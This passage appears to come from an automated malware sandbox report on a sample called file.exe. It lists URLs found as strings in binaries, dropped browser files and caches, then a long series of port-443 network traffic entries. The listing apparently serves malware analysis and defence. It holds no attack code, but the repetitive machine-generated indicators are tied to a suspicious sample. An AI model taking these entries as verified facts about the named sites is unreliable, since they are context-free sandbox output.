Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_528.7.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.com/
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://tidal.com/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://web.telegram.org/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://web.whatsapp.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AEGHCFID.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.13.dr, content.js.13.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: c6bec959-c5a2-4426-b4a6-988c764e3531.tmp.14.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_528.7.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_528.7.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_528.7.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.instagram.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.last.fm/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.messenger.com
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.office.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.tiktok.com/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://www.youtube.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
